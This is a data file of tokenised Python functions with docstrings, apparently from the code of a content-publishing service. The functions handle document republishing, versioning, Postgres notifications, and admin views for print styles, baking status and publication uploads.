{"signature": "def republish_binders(cursor, models):", "body": "documents = set([])<EOL>binders = set([])<EOL>history_mapping = {}  <EOL>if not isinstance(models, (list, tuple, set,)):<EOL><INDENT>raise TypeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(models))<EOL><DEDENT>for model in models:<EOL><INDENT>if isinstance(model, (cnxepub.Binder,)):<EOL><INDENT>binders.add(split_ident_hash(model.ident_hash)[<NUM_LIT:0>])<EOL>for doc in cnxepub.flatten_to_documents(model):<EOL><INDENT>documents.add(split_ident_hash(doc.ident_hash))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>documents.add(split_ident_hash(model.ident_hash))<EOL><DEDENT><DEDENT>to_be_republished = []<EOL>for (uuid, version) in documents:<EOL><INDENT>ident_hash = join_ident_hash(uuid, version)<EOL>previous_ident_hash = get_previous_publication(cursor, ident_hash)<EOL>if previous_ident_hash is None:<EOL><INDENT>continue<EOL><DEDENT>else:<EOL><INDENT>history_mapping[previous_ident_hash] = ident_hash<EOL><DEDENT>cursor.execute(", "docstring": "Republish the Binders that share Documents in the publication context.\n    This needs to be given all the models in the publication context.", "id": "f15204:m12"}
{"signature": "def get_previous_publication(cursor, ident_hash):", "body": "cursor.execute(\"\"\"<STR_LIT>\"\"\", (ident_hash,))<EOL>try:<EOL><INDENT>previous_ident_hash = cursor.fetchone()[<NUM_LIT:0>]<EOL><DEDENT>except TypeError:  <EOL><INDENT>previous_ident_hash = None<EOL><DEDENT>return previous_ident_hash<EOL>", "docstring": "Get the previous publication of the given\n    publication as an ident-hash.", "id": "f15204:m13"}
{"signature": "def bump_version(cursor, uuid, is_minor_bump=False):", "body": "cursor.execute(\"\"\"<STR_LIT>\"\"\", (uuid,))<EOL>type_, major_version, minor_version = cursor.fetchone()<EOL>incr = <NUM_LIT:1><EOL>if type_ == '<STR_LIT>' and is_minor_bump:<EOL><INDENT>minor_version = minor_version + incr<EOL><DEDENT>else:<EOL><INDENT>major_version = major_version + incr<EOL><DEDENT>return (major_version, minor_version,)<EOL>", "docstring": "Bump to the next version of the given content identified\n    by ``uuid``. Returns the next available version as a version tuple,\n    containing major and minor version.\n    If ``is_minor_bump`` is ``True`` the version will minor bump. That is\n    1.2 becomes 1.3 in the case of Collections. And 2 becomes 3 for\n    Modules regardless of this option.", "id": "f15204:m14"}
{"signature": "def republish_collection(cursor, ident_hash, version):", "body": "if not isinstance(version, (list, tuple,)):<EOL><INDENT>split_version = version.split('<STR_LIT:.>')<EOL>if len(split_version) == <NUM_LIT:1>:<EOL><INDENT>split_version.append(None)<EOL><DEDENT>version = tuple(split_version)<EOL><DEDENT>major_version, minor_version = version<EOL>cursor.execute(\"\"\"<STR_LIT>\"\"\",<EOL>(ident_hash, major_version, minor_version,))<EOL>repub_ident_hash = cursor.fetchone()[<NUM_LIT:0>]<EOL>return repub_ident_hash<EOL>", "docstring": "Republish the collection identified as ``ident_hash`` with\n    the given ``version``.", "id": "f15204:m15"}
{"signature": "def rebuild_collection_tree(cursor, ident_hash, history_map):", "body": "collection_tree_sql = \"\"\"<STR_LIT>\"\"\"<EOL>tree_insert_sql = \"\"\"<STR_LIT>\"\"\"<EOL>def get_tree():<EOL><INDENT>cursor.execute(collection_tree_sql, (ident_hash,))<EOL>for row in cursor.fetchall():<EOL><INDENT>yield row[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>def insert(fields):<EOL><INDENT>cursor.execute(tree_insert_sql, fields)<EOL>results = cursor.fetchone()[<NUM_LIT:0>]<EOL>return results<EOL><DEDENT>tree = {}  <EOL>children = {}  <EOL>for node in get_tree():<EOL><INDENT>tree[node['<STR_LIT>']] = node<EOL>children.setdefault(node['<STR_LIT>'], [])<EOL>children[node['<STR_LIT>']].append(node['<STR_LIT>'])<EOL><DEDENT>def build_tree(nodeid, parent_id):<EOL><INDENT>data = tree[nodeid]<EOL>data['<STR_LIT>'] = parent_id<EOL>if history_map.get(data['<STR_LIT>']) is not Noneand (data['<STR_LIT>'] or parent_id is None):<EOL><INDENT>data['<STR_LIT>'] = history_map[data['<STR_LIT>']]<EOL><DEDENT>new_nodeid = insert(data)<EOL>for child_nodeid in children.get(nodeid, []):<EOL><INDENT>build_tree(child_nodeid, new_nodeid)<EOL><DEDENT><DEDENT>root_node = children[None][<NUM_LIT:0>]<EOL>build_tree(root_node, None)<EOL>", "docstring": "Create a new tree for the collection based on the old tree but with\n    new document ids", "id": "f15204:m16"}
{"signature": "def issequence(t):", "body": "return isinstance(t, collections.Sequence)and not isinstance(t, basestring)<EOL>", "docstring": "Test if `t` is a Sequence", "id": "f15205:m0"}
{"signature": "def parse_archive_uri(uri):", "body": "parsed = urlparse(uri)<EOL>path = parsed.path.rstrip('<STR_LIT:/>').split('<STR_LIT:/>')<EOL>ident_hash = path[-<NUM_LIT:1>]<EOL>ident_hash = unquote(ident_hash)<EOL>return ident_hash<EOL>", "docstring": "Given an archive URI, parse to a split ident-hash.", "id": "f15205:m1"}
{"signature": "def __init__(self, publication_id=None,<EOL>epub_filename=None, pending_document_id=None,<EOL>pending_ident_hash=None):", "body": "self.publication_id = publication_id<EOL>self.epub_filename = epub_filename<EOL>self.pending_document_id = pending_document_id<EOL>self.pending_ident_hash = pending_ident_hash<EOL>", "docstring": "All these parameters are optional, because the raising code\n        usually doesn't have enough information to fill in the details.", "id": "f15206:c2:m0"}
{"signature": "@property<EOL><INDENT>def __dict__(self):<DEDENT>", "body": "data = {<EOL>'<STR_LIT:code>': self.code,<EOL>'<STR_LIT:type>': self.__class__.__name__,<EOL>'<STR_LIT>': self.publication_id,<EOL>'<STR_LIT>': self.epub_filename,<EOL>'<STR_LIT>': self.pending_document_id,<EOL>'<STR_LIT>': self.pending_ident_hash,<EOL>}<EOL>return data<EOL>", "docstring": "Render the except to dict", "id": "f15206:c2:m5"}
{"signature": "def __init__(self, uuid):", "body": "super(NotAllowed, self).__init__()<EOL>self._uuid = uuid<EOL>", "docstring": "``uuid`` is the content identifier\n        for which this exception applies.", "id": "f15206:c3:m0"}
{"signature": "def __init__(self, key):", "body": "super(MissingRequiredMetadata, self).__init__()<EOL>self._key = key<EOL>", "docstring": "``key`` is the name/label/field/key of the missing metadata.", "id": "f15206:c4:m0"}
{"signature": "def __init__(self, value):", "body": "super(InvalidLicense, self).__init__()<EOL>self._value = value<EOL>", "docstring": "``value`` is the invalid license.", "id": "f15206:c5:m0"}
{"signature": "def __init__(self, metadata_key, value):", "body": "super(InvalidRole, self).__init__()<EOL>self._key = metadata_key<EOL>self._value = value<EOL>", "docstring": "``metadata_key`` tells which metadata role name the\n        invalid role is under. ``value`` is the invalid role.", "id": "f15206:c6:m0"}
{"signature": "def __init__(self, metadata_key, value, original_exception=None):", "body": "super(InvalidMetadata, self).__init__()<EOL>self._key = metadata_key<EOL>self._value = value<EOL>self._original_exception = original_exception<EOL>", "docstring": "``metadata_key`` tells which metadata has the\n        invalid ``value``. If ``original_exception`` is supplied, it will be\n        used to supply additional information.", "id": "f15206:c7:m0"}
{"signature": "def __init__(self, reference):", "body": "super(InvalidReference, self).__init__()<EOL>self._reference = reference<EOL>", "docstring": "``reference`` is the Reference object that contains\n        the invalid reference.", "id": "f15206:c8:m0"}
{"signature": "def __init__(self, document_pointer, exists, is_document):", "body": "super(InvalidDocumentPointer, self).__init__()<EOL>self._document_pointer = document_pointer<EOL>self._exists = bool(exists)<EOL>self._is_document = bool(is_document)<EOL>", "docstring": "``document_pointer`` is the DocumentPointer object that contains\n        the invalid reference.", "id": "f15206:c9:m0"}
{"signature": "def create_pg_notify_event(notif):", "body": "<EOL>if notif.channel not in _CHANNEL_MAPPER:<EOL><INDENT>cls = _CHANNEL_MAPPER[None]<EOL><DEDENT>else:<EOL><INDENT>cls = _CHANNEL_MAPPER[notif.channel]<EOL><DEDENT>return cls(notif)<EOL>", "docstring": "A factory for creating a Postgres Notification Event\n    (an object inheriting from `cnxpublishing.events.PGNotifyEvent`)\n    given `notif`, a `psycopg2.extensions.Notify` object.", "id": "f15207:m0"}
{"signature": "def processor():  ", "body": "registry = get_current_registry()<EOL>settings = registry.settings<EOL>connection_string = settings[CONNECTION_STRING]<EOL>channels = _get_channels(settings)<EOL>with psycopg2.connect(connection_string) as conn:<EOL><INDENT>conn.set_isolation_level(ISOLATION_LEVEL_AUTOCOMMIT)<EOL>with conn.cursor() as cursor:<EOL><INDENT>for channel in channels:<EOL><INDENT>cursor.execute('<STR_LIT>'.format(channel))<EOL>logger.debug('<STR_LIT>'<EOL>.format(channel))<EOL><DEDENT><DEDENT>registry.notify(ChannelProcessingStartUpEvent())<EOL>rlist = [conn]  <EOL>wlist = []  <EOL>xlist = []  <EOL>timeout = <NUM_LIT:5><EOL>while True:<EOL><INDENT>if select.select(rlist, wlist, xlist, timeout) != ([], [], []):<EOL><INDENT>conn.poll()<EOL>while conn.notifies:<EOL><INDENT>notif = conn.notifies.pop(<NUM_LIT:0>)<EOL>logger.debug('<STR_LIT>'<EOL>.format(notif.pid, notif.channel,<EOL>notif.payload))<EOL>event = create_pg_notify_event(notif)<EOL>try:<EOL><INDENT>registry.notify(event)<EOL><DEDENT>except Exception:<EOL><INDENT>logger.exception('<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "Churns over PostgreSQL notifications on configured channels.\n    This requires the application be setup and the registry be available.\n    This function uses the database connection string and a list of\n    pre configured channels.", "id": "f15208:m2"}
{"signature": "def includeme(config):", "body": "settings = config.registry.settings<EOL>session_factory = SignedCookieSessionFactory(settings['<STR_LIT>'])<EOL>config.set_session_factory(session_factory)<EOL>", "docstring": "Configures the session manager", "id": "f15209:m0"}
{"signature": "@view_config(route_name='<STR_LIT>', request_method='<STR_LIT:GET>',<EOL>accept=\"<STR_LIT:application/json>\",<EOL>renderer='<STR_LIT>', permission='<STR_LIT>', http_cache=<NUM_LIT:0>)<EOL>def get_api_keys(request):", "body": "with db_connect() as db_conn:<EOL><INDENT>with db_conn.cursor() as cursor:<EOL><INDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\")<EOL>api_keys = [x[<NUM_LIT:0>] for x in cursor.fetchall()]<EOL><DEDENT><DEDENT>return api_keys<EOL>", "docstring": "Return the list of API keys.", "id": "f15210:m0"}
{"signature": "@view_config(route_name='<STR_LIT>', request_method='<STR_LIT:GET>',<EOL>accept=\"<STR_LIT:application/json>\",<EOL>renderer='<STR_LIT>', permission='<STR_LIT>', http_cache=<NUM_LIT:0>)<EOL>def get_moderation(request):", "body": "with db_connect() as db_conn:<EOL><INDENT>with db_conn.cursor() as cursor:<EOL><INDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\")<EOL>moderations = [x[<NUM_LIT:0>] for x in cursor.fetchall()]<EOL><DEDENT><DEDENT>return moderations<EOL>", "docstring": "Return the list of publications that need moderation.", "id": "f15211:m0"}
{"signature": "@view_config(route_name='<STR_LIT>', request_method='<STR_LIT:GET>',<EOL>renderer='<STR_LIT>',<EOL>permission='<STR_LIT>', http_cache=<NUM_LIT:0>)<EOL>def admin_print_styles(request):", "body": "styles = []<EOL>with db_connect(cursor_factory=DictCursor) as db_conn:<EOL><INDENT>with db_conn.cursor() as cursor:<EOL><INDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\")<EOL>for row in cursor.fetchall():<EOL><INDENT>styles.append({<EOL>'<STR_LIT>': row['<STR_LIT>'],<EOL>'<STR_LIT:title>': row['<STR_LIT:title>'],<EOL>'<STR_LIT:type>': row['<STR_LIT:type>'],<EOL>'<STR_LIT>': row['<STR_LIT>'],<EOL>'<STR_LIT>': row['<STR_LIT>'],<EOL>'<STR_LIT>': row['<STR_LIT>'],<EOL>'<STR_LIT>': row['<STR_LIT:count>'],<EOL>'<STR_LIT>': row['<STR_LIT>'],<EOL>'<STR_LIT>': request.route_path('<STR_LIT>',<EOL>style=row['<STR_LIT>'])<EOL>})<EOL><DEDENT><DEDENT><DEDENT>return {'<STR_LIT>': styles}<EOL>", "docstring": "Returns a dictionary of all unique print_styles, and their latest tag,\nrevision, and recipe_type.", "id": "f15214:m0"}
{"signature": "@view_config(route_name='<STR_LIT>', request_method='<STR_LIT:GET>',<EOL>renderer='<STR_LIT>',<EOL>permission='<STR_LIT>', http_cache=<NUM_LIT:0>)<EOL>def admin_print_styles_single(request):", "body": "style = request.matchdict['<STR_LIT>']<EOL>with db_connect(cursor_factory=DictCursor) as db_conn:<EOL><INDENT>with db_conn.cursor() as cursor:<EOL><INDENT>if style != '<STR_LIT>':<EOL><INDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\", vars=(style,))<EOL>info = cursor.fetchall()<EOL>if len(info) < <NUM_LIT:1>:<EOL><INDENT>current_recipe = None<EOL>recipe_type = None<EOL>status = None<EOL><DEDENT>else:<EOL><INDENT>current_recipe = info[<NUM_LIT:0>]['<STR_LIT>']<EOL>recipe_type = info[<NUM_LIT:0>]['<STR_LIT>']<EOL>status = '<STR_LIT>'<EOL><DEDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\", vars=(style,))<EOL><DEDENT>else:<EOL><INDENT>current_recipe = '<STR_LIT>'<EOL>recipe_type = '<STR_LIT>'<EOL>cursor.execute(\"\"\"<STR_LIT>\"\"\", vars=(style,))<EOL>status = '<STR_LIT>'<EOL><DEDENT>collections = []<EOL>for row in cursor.fetchall():<EOL><INDENT>recipe = row['<STR_LIT>']<EOL>if (status != '<STR_LIT>' and<EOL>current_recipe is not None and<EOL>recipe != current_recipe):<EOL><INDENT>status = '<STR_LIT>'<EOL><DEDENT>collections.append({<EOL>'<STR_LIT:title>': row['<STR_LIT:name>'].decode('<STR_LIT:utf-8>'),<EOL>'<STR_LIT>': row['<STR_LIT>'],<EOL>'<STR_LIT>': row['<STR_LIT>'],<EOL>'<STR_LIT>': row['<STR_LIT>'],<EOL>'<STR_LIT>': request.route_path('<STR_LIT>',<EOL>hash=row['<STR_LIT>']),<EOL>'<STR_LIT>': row['<STR_LIT>'],<EOL>'<STR_LIT>': row['<STR_LIT>'],<EOL>'<STR_LIT>': request.route_path('<STR_LIT>',<EOL>ident_hash=row['<STR_LIT>']),<EOL>'<STR_LIT:status>': status,<EOL>'<STR_LIT>': request.route_path(<EOL>'<STR_LIT>', uuid=row['<STR_LIT>']),<EOL>})<EOL><DEDENT><DEDENT><DEDENT>return {'<STR_LIT>': len(collections),<EOL>'<STR_LIT>': collections,<EOL>'<STR_LIT>': style,<EOL>'<STR_LIT>': recipe_type}<EOL>", "docstring": "Returns all books with any version of the given print style.\n\n    Returns the print_style, recipe type, num books using the print_style,\n    along with a dictionary of the book, author, revision date, recipe,\n    tag of the print_style, and a link to the content.", "id": "f15214:m1"}
{"signature": "def get_baking_statuses_sql(get_request):", "body": "args = {}<EOL>sort = get_request.get('<STR_LIT>', '<STR_LIT>')<EOL>if (len(sort.split(\"<STR_LIT:U+0020>\")) != <NUM_LIT:2> or<EOL>sort.split(\"<STR_LIT:U+0020>\")[<NUM_LIT:0>] not in SORTS_DICT.keys() or<EOL>sort.split(\"<STR_LIT:U+0020>\")[<NUM_LIT:1>] not in ARROW_MATCH.keys()):<EOL><INDENT>raise httpexceptions.HTTPBadRequest(<EOL>'<STR_LIT>'.format(sort))<EOL><DEDENT>if sort == \"<STR_LIT>\" or sort == \"<STR_LIT>\":<EOL><INDENT>sort = '<STR_LIT>'<EOL><DEDENT>uuid_filter = get_request.get('<STR_LIT>', '<STR_LIT>').strip()<EOL>author_filter = get_request.get('<STR_LIT>', '<STR_LIT>').strip()<EOL>latest_filter = get_request.get('<STR_LIT>', False)<EOL>sql_filters = \"<STR_LIT>\"<EOL>if latest_filter:<EOL><INDENT>sql_filters += \"\"\"<STR_LIT>\"\"\"<EOL><DEDENT>if uuid_filter != '<STR_LIT>':<EOL><INDENT>args['<STR_LIT>'] = uuid_filter<EOL>sql_filters += \"<STR_LIT>\"<EOL><DEDENT>if author_filter != '<STR_LIT>':<EOL><INDENT>author_filter = author_filter.decode('<STR_LIT:utf-8>')<EOL>sql_filters += \"<STR_LIT>\"<EOL>args[\"<STR_LIT>\"] = author_filter<EOL><DEDENT>if sql_filters.endswith(\"<STR_LIT>\"):<EOL><INDENT>sql_filters = sql_filters[:-<NUM_LIT:4>]<EOL><DEDENT>if sql_filters == \"<STR_LIT>\":<EOL><INDENT>sql_filters = \"<STR_LIT>\"<EOL><DEDENT>statement = \"\"\"<STR_LIT>\"\"\".format(sql_filters, sort)<EOL>args.update({'<STR_LIT>': sort})<EOL>return statement, args<EOL>", "docstring": "Creates SQL to get info on baking books filtered from GET request.\n\n    All books that have ever attempted to bake will be retured if they\n    pass the filters in the GET request.\n    If a single book has been requested to bake multiple times there will\n    be a row for each of the baking attempts.\n    By default the results are sorted in descending order of when they were\n    requested to bake.\n\n    N.B. The version reported for a print-style linked recipe will the the\n    lowest cnx-recipes release installed that contains the exact recipe\n    used to bake that book, regardless of when the book was baked relative\n    to recipe releases. E.g. if a book uses the 'physics' recipe, and it is\n    identical for versions 1.1, 1.2, 1.3, and 1.4, then it will be reported\n    as version 1.1, even if the most recent release is tagged 1.4.", "id": "f15216:m0"}
{"signature": "@view_config(route_name='<STR_LIT>', request_method='<STR_LIT:GET>',<EOL>renderer='<STR_LIT>',<EOL>permission='<STR_LIT>', http_cache=<NUM_LIT:0>)<EOL>def admin_content_status(request):", "body": "statement, sql_args = get_baking_statuses_sql(request.GET)<EOL>states = []<EOL>status_filters = request.params.getall('<STR_LIT>') or []<EOL>state_icons = dict(STATE_ICONS)<EOL>with db_connect(cursor_factory=DictCursor) as db_conn:<EOL><INDENT>with db_conn.cursor() as cursor:<EOL><INDENT>cursor.execute(statement, vars=sql_args)<EOL>for row in cursor.fetchall():<EOL><INDENT>message = '<STR_LIT>'<EOL>state = row['<STR_LIT:state>'] or '<STR_LIT>'<EOL>if status_filters and state not in status_filters:<EOL><INDENT>continue<EOL><DEDENT>if state == '<STR_LIT>':  <EOL><INDENT>if row['<STR_LIT>'] is not None:<EOL><INDENT>message = row['<STR_LIT>'].split(\"<STR_LIT:\\n>\")[-<NUM_LIT:2>]<EOL><DEDENT><DEDENT>latest_recipe = row['<STR_LIT>']<EOL>current_recipe = row['<STR_LIT>']<EOL>if (current_recipe is not None and<EOL>current_recipe != latest_recipe):<EOL><INDENT>state += '<STR_LIT>'<EOL><DEDENT>state_icon = state<EOL>if state[:<NUM_LIT:7>] == \"<STR_LIT>\" and len(state) > <NUM_LIT:7>:<EOL><INDENT>state_icon = '<STR_LIT>'<EOL><DEDENT>states.append({<EOL>'<STR_LIT:title>': row['<STR_LIT:name>'].decode('<STR_LIT:utf-8>'),<EOL>'<STR_LIT>': format_authors(row['<STR_LIT>']),<EOL>'<STR_LIT>': row['<STR_LIT>'],<EOL>'<STR_LIT>': row['<STR_LIT>'],<EOL>'<STR_LIT>': request.route_path(<EOL>'<STR_LIT>', style=row['<STR_LIT>']),<EOL>'<STR_LIT>': row['<STR_LIT>'],<EOL>'<STR_LIT>': row['<STR_LIT>'],<EOL>'<STR_LIT>': row['<STR_LIT>'],<EOL>'<STR_LIT>': request.route_path(<EOL>'<STR_LIT>', hash=row['<STR_LIT>']),<EOL>'<STR_LIT>': row['<STR_LIT>'],<EOL>'<STR_LIT:state>': state,<EOL>'<STR_LIT>': message,<EOL>'<STR_LIT>': state_icons.get(<EOL>state_icon, DEFAULT_ICON),<EOL>'<STR_LIT>': request.route_path(<EOL>'<STR_LIT>', uuid=row['<STR_LIT>']),<EOL>'<STR_LIT>': request.route_path(<EOL>'<STR_LIT>', ident_hash=row['<STR_LIT>'])<EOL>})<EOL><DEDENT><DEDENT><DEDENT>sort = request.params.get('<STR_LIT>', '<STR_LIT>')<EOL>sort_match = SORTS_DICT[sort.split('<STR_LIT:U+0020>')[<NUM_LIT:0>]]<EOL>sort_arrow = ARROW_MATCH[sort.split('<STR_LIT:U+0020>')[<NUM_LIT:1>]]<EOL>if sort == \"<STR_LIT>\":<EOL><INDENT>states.sort(key=lambda x: x['<STR_LIT:state>'])<EOL><DEDENT>if sort == \"<STR_LIT>\":<EOL><INDENT>states.sort(key=lambda x: x['<STR_LIT:state>'], reverse=True)<EOL><DEDENT>num_entries = request.params.get('<STR_LIT>', <NUM_LIT:100>) or <NUM_LIT:100><EOL>page = request.params.get('<STR_LIT>', <NUM_LIT:1>) or <NUM_LIT:1><EOL>try:<EOL><INDENT>page = int(page)<EOL>num_entries = int(num_entries)<EOL>start_entry = (page - <NUM_LIT:1>) * num_entries<EOL><DEDENT>except ValueError:<EOL><INDENT>raise httpexceptions.HTTPBadRequest(<EOL>'<STR_LIT>'.<EOL>format(page, num_entries))<EOL><DEDENT>total_entries = len(states)<EOL>states = states[start_entry: start_entry + num_entries]<EOL>returns = sql_args<EOL>returns.update({'<STR_LIT>': start_entry,<EOL>'<STR_LIT>': num_entries,<EOL>'<STR_LIT>': page,<EOL>'<STR_LIT>': total_entries,<EOL>'<STR_LIT>': states,<EOL>'<STR_LIT>' + sort_match: sort_arrow,<EOL>'<STR_LIT>': sort,<EOL>'<STR_LIT>': request.host,<EOL>'<STR_LIT>': request.GET.get('<STR_LIT>', False),<EOL>'<STR_LIT>': STATE_ICONS,<EOL>'<STR_LIT>': status_filters or [<EOL>i[<NUM_LIT:0>] for i in STATE_ICONS]})<EOL>return returns<EOL>", "docstring": "Returns a dictionary with the states and info of baking books,\nand the filters from the GET request to pre-populate the form.", "id": "f15216:m2"}
{"signature": "@view_config(route_name='<STR_LIT>', request_method='<STR_LIT:GET>',<EOL>renderer='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>permission='<STR_LIT>', http_cache=<NUM_LIT:0>)<EOL>def admin_content_status_single(request):", "body": "uuid = request.matchdict['<STR_LIT>']<EOL>try:<EOL><INDENT>UUID(uuid)<EOL><DEDENT>except ValueError:<EOL><INDENT>raise httpexceptions.HTTPBadRequest(<EOL>'<STR_LIT>'.format(uuid))<EOL><DEDENT>statement, sql_args = get_baking_statuses_sql({'<STR_LIT>': uuid})<EOL>with db_connect(cursor_factory=DictCursor) as db_conn:<EOL><INDENT>with db_conn.cursor() as cursor:<EOL><INDENT>cursor.execute(statement, sql_args)<EOL>modules = cursor.fetchall()<EOL>if len(modules) == <NUM_LIT:0>:<EOL><INDENT>raise httpexceptions.HTTPBadRequest(<EOL>'<STR_LIT>'.format(uuid))<EOL><DEDENT>states = []<EOL>collection_info = modules[<NUM_LIT:0>]<EOL>for row in modules:<EOL><INDENT>message = '<STR_LIT>'<EOL>state = row['<STR_LIT:state>'] or '<STR_LIT>'<EOL>if state == '<STR_LIT>':  <EOL><INDENT>if row['<STR_LIT>'] is not None:<EOL><INDENT>message = row['<STR_LIT>']<EOL><DEDENT><DEDENT>latest_recipe = row['<STR_LIT>']<EOL>current_recipe = row['<STR_LIT>']<EOL>if (latest_recipe is not None and<EOL>current_recipe != latest_recipe):<EOL><INDENT>state += '<STR_LIT>'<EOL><DEDENT>states.append({<EOL>'<STR_LIT:version>': row['<STR_LIT>'],<EOL>'<STR_LIT>': row['<STR_LIT>'],<EOL>'<STR_LIT>': str(row['<STR_LIT>']),<EOL>'<STR_LIT:state>': state,<EOL>'<STR_LIT>': message,<EOL>})<EOL><DEDENT><DEDENT><DEDENT>return {'<STR_LIT>': str(collection_info['<STR_LIT>']),<EOL>'<STR_LIT:title>': collection_info['<STR_LIT:name>'].decode('<STR_LIT:utf-8>'),<EOL>'<STR_LIT>': format_authors(collection_info['<STR_LIT>']),<EOL>'<STR_LIT>': collection_info['<STR_LIT>'],<EOL>'<STR_LIT>': collection_info['<STR_LIT>'],<EOL>'<STR_LIT>': collection_info['<STR_LIT>'],<EOL>'<STR_LIT>': states[<NUM_LIT:0>]['<STR_LIT:state>'],<EOL>'<STR_LIT>': states}<EOL>", "docstring": "Returns a dictionary with all the past baking statuses of a single book.", "id": "f15216:m3"}
{"signature": "@view_config(route_name='<STR_LIT>', request_method='<STR_LIT:POST>',<EOL>renderer='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>permission='<STR_LIT>', http_cache=<NUM_LIT:0>)<EOL>def admin_content_status_single_POST(request):", "body": "args = admin_content_status_single(request)<EOL>title = args['<STR_LIT:title>']<EOL>if args['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>args['<STR_LIT>'] = title + '<STR_LIT>'<EOL>return args<EOL><DEDENT>with db_connect() as db_conn:<EOL><INDENT>with db_conn.cursor() as cursor:<EOL><INDENT>cursor.execute(\"<STR_LIT>\",<EOL>vars=(args['<STR_LIT>'],))<EOL>data = cursor.fetchall()<EOL>if len(data) == <NUM_LIT:0>:<EOL><INDENT>raise httpexceptions.HTTPBadRequest(<EOL>'<STR_LIT>'.format(args['<STR_LIT>']))<EOL><DEDENT>if data[<NUM_LIT:0>][<NUM_LIT:0>] == <NUM_LIT:5> or data[<NUM_LIT:0>][<NUM_LIT:0>] == <NUM_LIT:6>:<EOL><INDENT>args['<STR_LIT>'] = title + '<STR_LIT>'<EOL>return args<EOL><DEDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\",<EOL>vars=(args['<STR_LIT>'],))<EOL>args['<STR_LIT>'] = title + \"<STR_LIT>\"<EOL><DEDENT><DEDENT>return args<EOL>", "docstring": "Retriggers baking for a given book.", "id": "f15216:m4"}
{"signature": "@view_config(route_name='<STR_LIT>', request_method='<STR_LIT:POST>', renderer='<STR_LIT>',<EOL>permission='<STR_LIT>', http_cache=<NUM_LIT:0>)<EOL>def publish(request):", "body": "if '<STR_LIT>' not in request.POST:<EOL><INDENT>raise httpexceptions.HTTPBadRequest(\"<STR_LIT>\")<EOL><DEDENT>is_pre_publication = asbool(request.POST.get('<STR_LIT>'))<EOL>epub_upload = request.POST['<STR_LIT>'].file<EOL>try:<EOL><INDENT>epub = cnxepub.EPUB.from_file(epub_upload)<EOL><DEDENT>except:  <EOL><INDENT>raise httpexceptions.HTTPBadRequest('<STR_LIT>')<EOL><DEDENT>with db_connect() as db_conn:<EOL><INDENT>with db_conn.cursor() as cursor:<EOL><INDENT>epub_upload.seek(<NUM_LIT:0>)<EOL>publication_id, publications = add_publication(<EOL>cursor, epub, epub_upload, is_pre_publication)<EOL><DEDENT><DEDENT>state, messages = poke_publication_state(publication_id)<EOL>response_data = {<EOL>'<STR_LIT>': publication_id,<EOL>'<STR_LIT>': publications,<EOL>'<STR_LIT:state>': state,<EOL>'<STR_LIT>': messages,<EOL>}<EOL>return response_data<EOL>", "docstring": "Accept a publication request at form value 'epub", "id": "f15217:m0"}
{"signature": "@view_config(route_name='<STR_LIT>', request_method=['<STR_LIT:GET>', '<STR_LIT>'],<EOL>renderer='<STR_LIT>', permission='<STR_LIT>', http_cache=<NUM_LIT:0>)<EOL>def get_publication(request):", "body": "publication_id = request.matchdict['<STR_LIT:id>']<EOL>state, messages = check_publication_state(publication_id)<EOL>response_data = {<EOL>'<STR_LIT>': publication_id,<EOL>'<STR_LIT:state>': state,<EOL>'<STR_LIT>': messages,<EOL>}<EOL>return response_data<EOL>", "docstring": "Lookup publication state", "id": "f15217:m1"}
{"signature": "@view_config(route_name='<STR_LIT>',<EOL>request_method='<STR_LIT:GET>',<EOL>accept='<STR_LIT:application/json>', renderer='<STR_LIT>', http_cache=<NUM_LIT:0>)<EOL>def get_accept_license(request):", "body": "publication_id = request.matchdict['<STR_LIT:id>']<EOL>user_id = request.matchdict['<STR_LIT>']<EOL>with db_connect() as db_conn:<EOL><INDENT>with db_conn.cursor() as cursor:<EOL><INDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\",<EOL>(publication_id, user_id))<EOL>user_documents = [r[<NUM_LIT:0>] for r in cursor.fetchall()]<EOL><DEDENT><DEDENT>return {'<STR_LIT>': publication_id,<EOL>'<STR_LIT>': user_id,<EOL>'<STR_LIT>': user_documents,<EOL>}<EOL>", "docstring": "This produces JSON data for a user (at ``uid``) to view the license(s)\n    they have accepted or will need to accept for a publication (at ``id``).", "id": "f15217:m2"}
{"signature": "@view_config(route_name='<STR_LIT>',<EOL>request_method='<STR_LIT:POST>', accept='<STR_LIT:application/json>', http_cache=<NUM_LIT:0>)<EOL>def post_accept_license(request):", "body": "publication_id = request.matchdict['<STR_LIT:id>']<EOL>uid = request.matchdict['<STR_LIT>']<EOL>post_data = request.json<EOL>accepted = []<EOL>denied = []<EOL>try:<EOL><INDENT>documents = post_data['<STR_LIT>']<EOL>for doc_acceptance in documents:<EOL><INDENT>if doc_acceptance['<STR_LIT>'] is None:<EOL><INDENT>continue<EOL><DEDENT>elif doc_acceptance['<STR_LIT>']:<EOL><INDENT>accepted.append(doc_acceptance['<STR_LIT:id>'])<EOL><DEDENT>else:<EOL><INDENT>denied.append(doc_acceptance['<STR_LIT:id>'])<EOL><DEDENT><DEDENT><DEDENT>except KeyError:<EOL><INDENT>raise httpexceptions.BadRequest(\"<STR_LIT>\")<EOL><DEDENT>with db_connect() as db_conn:<EOL><INDENT>with db_conn.cursor() as cursor:<EOL><INDENT>accept_publication_license(cursor, publication_id, uid,<EOL>accepted, True)<EOL>accept_publication_license(cursor, publication_id, uid,<EOL>denied, False)<EOL><DEDENT><DEDENT>location = request.route_url('<STR_LIT>',<EOL>id=publication_id, uid=uid)<EOL>poke_publication_state(publication_id)<EOL>return httpexceptions.HTTPFound(location=location)<EOL>", "docstring": "Allows the user (at ``uid``) to accept the license(s) for\n    a publication (at ``id``).", "id": "f15217:m3"}
